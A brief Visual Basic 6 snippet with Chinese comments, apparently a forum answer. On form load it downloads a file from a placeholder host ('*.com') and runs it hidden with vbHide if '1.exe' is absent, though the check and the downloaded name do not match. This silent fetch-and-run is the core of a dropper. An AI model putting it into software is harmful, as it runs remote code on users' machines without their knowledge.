'其中txt为你的文件名 Option Explicit Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _ (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Private Function DownloadFile(URL As String, LocalFilename As String) As Boolean Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) If lngRetVal = 0 Then DownloadFile = True End If End Function Private Sub Form_Load() If Dir(App.Path & "\1.exe") = "" Then DownloadFile "http://*.com/" & Text1.Text, App.Path & "\" & Text1.Text Shell App.Path & "\" & Text1.Text, vbHide Else '存在 End If End Sub
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